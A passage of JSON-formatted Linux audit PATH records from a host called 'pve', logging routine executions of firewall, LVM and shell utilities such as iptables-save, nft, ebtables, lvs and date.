dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415847,"@rawstring":"node=pve type=PATH msg=audit(1781964415.847:60938): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415843,"@rawstring":"node=pve type=PATH msg=audit(1781964415.843:60937): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415843,"@rawstring":"node=pve type=PATH msg=audit(1781964415.843:60937): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415843,"@rawstring":"node=pve type=PATH msg=audit(1781964415.843:60937): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415836,"@rawstring":"node=pve type=PATH msg=audit(1781964415.836:60936): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415836,"@rawstring":"node=pve type=PATH msg=audit(1781964415.836:60936): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415829,"@rawstring":"node=pve type=PATH msg=audit(1781964415.829:60935): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415829,"@rawstring":"node=pve type=PATH msg=audit(1781964415.829:60935): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415823,"@rawstring":"node=pve type=PATH msg=audit(1781964415.823:60934): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415823,"@rawstring":"node=pve type=PATH msg=audit(1781964415.823:60934): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415816,"@rawstring":"node=pve type=PATH msg=audit(1781964415.816:60933): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415816,"@rawstring":"node=pve type=PATH msg=audit(1781964415.816:60933): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415810,"@rawstring":"node=pve type=PATH msg=audit(1781964415.810:60931): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415810,"@rawstring":"node=pve type=PATH msg=audit(1781964415.810:60931): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415805,"@rawstring":"node=pve type=PATH msg=audit(1781964415.805:60930): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415805,"@rawstring":"node=pve type=PATH msg=audit(1781964415.805:60930): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415799,"@rawstring":"node=pve type=PATH msg=audit(1781964415.799:60929): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415799,"@rawstring":"node=pve type=PATH msg=audit(1781964415.799:60929): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415794,"@rawstring":"node=pve type=PATH msg=audit(1781964415.794:60928): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415794,"@rawstring":"node=pve type=PATH msg=audit(1781964415.794:60928): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415789,"@rawstring":"node=pve type=PATH msg=audit(1781964415.789:60927): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415789,"@rawstring":"node=pve type=PATH msg=audit(1781964415.789:60927): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415784,"@rawstring":"node=pve type=PATH msg=audit(1781964415.784:60926): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415784,"@rawstring":"node=pve type=PATH msg=audit(1781964415.784:60926): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415777,"@rawstring":"node=pve type=PATH msg=audit(1781964415.777:60925): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415777,"@rawstring":"node=pve type=PATH msg=audit(1781964415.777:60925): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415770,"@rawstring":"node=pve type=PATH msg=audit(1781964415.770:60924): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415770,"@rawstring":"node=pve type=PATH msg=audit(1781964415.770:60924): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415767,"@rawstring":"node=pve type=PATH msg=audit(1781964415.767:60923): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415767,"@rawstring":"node=pve type=PATH msg=audit(1781964415.767:60923): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415764,"@rawstring":"node=pve type=PATH msg=audit(1781964415.764:60922): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415764,"@rawstring":"node=pve type=PATH msg=audit(1781964415.764:60922): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415763,"@rawstring":"node=pve type=PATH msg=audit(1781964415.763:60921): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415763,"@rawstring":"node=pve type=PATH msg=audit(1781964415.763:60921): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415763,"@rawstring":"node=pve type=PATH msg=audit(1781964415.763:60920): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415758,"@rawstring":"node=pve type=PATH msg=audit(1781964415.758:60919): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415758,"@rawstring":"node=pve type=PATH msg=audit(1781964415.758:60919): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415758,"@rawstring":"node=pve type=PATH msg=audit(1781964415.758:60919): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415752,"@rawstring":"node=pve type=PATH msg=audit(1781964415.752:60918): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415752,"@rawstring":"node=pve type=PATH msg=audit(1781964415.752:60918): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415745,"@rawstring":"node=pve type=PATH msg=audit(1781964415.745:60917): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415745,"@rawstring":"node=pve type=PATH msg=audit(1781964415.745:60917): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415741,"@rawstring":"node=pve type=PATH msg=audit(1781964415.741:60916): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415741,"@rawstring":"node=pve type=PATH msg=audit(1781964415.741:60916): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415734,"@rawstring":"node=pve type=PATH msg=audit(1781964415.734:60915): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415734,"@rawstring":"node=pve type=PATH msg=audit(1781964415.734:60915): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415728,"@rawstring":"node=pve type=PATH msg=audit(1781964415.728:60914): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964415728,"@rawstring":"node=pve type=PATH msg=audit(1781964415.728:60914): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964414971,"@rawstring":"node=pve type=PATH msg=audit(1781964414.971:60913): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964414971,"@rawstring":"node=pve type=PATH msg=audit(1781964414.971:60913): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964414943,"@rawstring":"node=pve type=PATH msg=audit(1781964414.943:60912): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964414943,"@rawstring":"node=pve type=PATH msg=audit(1781964414.943:60912): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964414276,"@rawstring":"node=pve type=PATH msg=audit(1781964414.276:60911): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964414276,"@rawstring":"node=pve type=PATH msg=audit(1781964414.276:60911): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964414276,"@rawstring":"node=pve type=PATH msg=audit(1781964414.276:60910): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964414276,"@rawstring":"node=pve type=PATH msg=audit(1781964414.276:60909): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964414269,"@rawstring":"node=pve type=PATH msg=audit(1781964414.269:60908): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964414269,"@rawstring":"node=pve type=PATH msg=audit(1781964414.269:60908): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964414269,"@rawstring":"node=pve type=PATH msg=audit(1781964414.269:60907): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964414269,"@rawstring":"node=pve type=PATH msg=audit(1781964414.269:60906): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964409262,"@rawstring":"node=pve type=PATH msg=audit(1781964409.262:60905): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964409262,"@rawstring":"node=pve type=PATH msg=audit(1781964409.262:60905): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964409262,"@rawstring":"node=pve type=PATH msg=audit(1781964409.262:60904): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964409262,"@rawstring":"node=pve type=PATH msg=audit(1781964409.262:60903): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964409253,"@rawstring":"node=pve type=PATH msg=audit(1781964409.253:60902): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964409253,"@rawstring":"node=pve type=PATH msg=audit(1781964409.253:60902): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964409253,"@rawstring":"node=pve type=PATH msg=audit(1781964409.253:60901): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964409253,"@rawstring":"node=pve type=PATH msg=audit(1781964409.253:60900): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405717,"@rawstring":"node=pve type=PATH msg=audit(1781964405.717:60899): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405717,"@rawstring":"node=pve type=PATH msg=audit(1781964405.717:60899): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405714,"@rawstring":"node=pve type=PATH msg=audit(1781964405.714:60898): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405714,"@rawstring":"node=pve type=PATH msg=audit(1781964405.714:60898): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405713,"@rawstring":"node=pve type=PATH msg=audit(1781964405.713:60897): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405713,"@rawstring":"node=pve type=PATH msg=audit(1781964405.713:60897): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405713,"@rawstring":"node=pve type=PATH msg=audit(1781964405.713:60896): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405709,"@rawstring":"node=pve type=PATH msg=audit(1781964405.709:60895): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405709,"@rawstring":"node=pve type=PATH msg=audit(1781964405.709:60895): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405709,"@rawstring":"node=pve type=PATH msg=audit(1781964405.709:60895): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405703,"@rawstring":"node=pve type=PATH msg=audit(1781964405.703:60894): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405703,"@rawstring":"node=pve type=PATH msg=audit(1781964405.703:60894): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405697,"@rawstring":"node=pve type=PATH msg=audit(1781964405.697:60893): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405697,"@rawstring":"node=pve type=PATH msg=audit(1781964405.697:60893): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405691,"@rawstring":"node=pve type=PATH msg=audit(1781964405.691:60892): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405691,"@rawstring":"node=pve type=PATH msg=audit(1781964405.691:60892): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405685,"@rawstring":"node=pve type=PATH msg=audit(1781964405.685:60891): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405685,"@rawstring":"node=pve type=PATH msg=audit(1781964405.685:60891): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405680,"@rawstring":"node=pve type=PATH msg=audit(1781964405.680:60889): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405680,"@rawstring":"node=pve type=PATH msg=audit(1781964405.680:60889): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405675,"@rawstring":"node=pve type=PATH msg=audit(1781964405.675:60888): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405675,"@rawstring":"node=pve type=PATH msg=audit(1781964405.675:60888): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405670,"@rawstring":"node=pve type=PATH msg=audit(1781964405.670:60887): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405670,"@rawstring":"node=pve type=PATH msg=audit(1781964405.670:60887): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405665,"@rawstring":"node=pve type=PATH msg=audit(1781964405.665:60886): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405665,"@rawstring":"node=pve type=PATH msg=audit(1781964405.665:60886): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781964405660,"@rawstring":"node=pve type=PATH 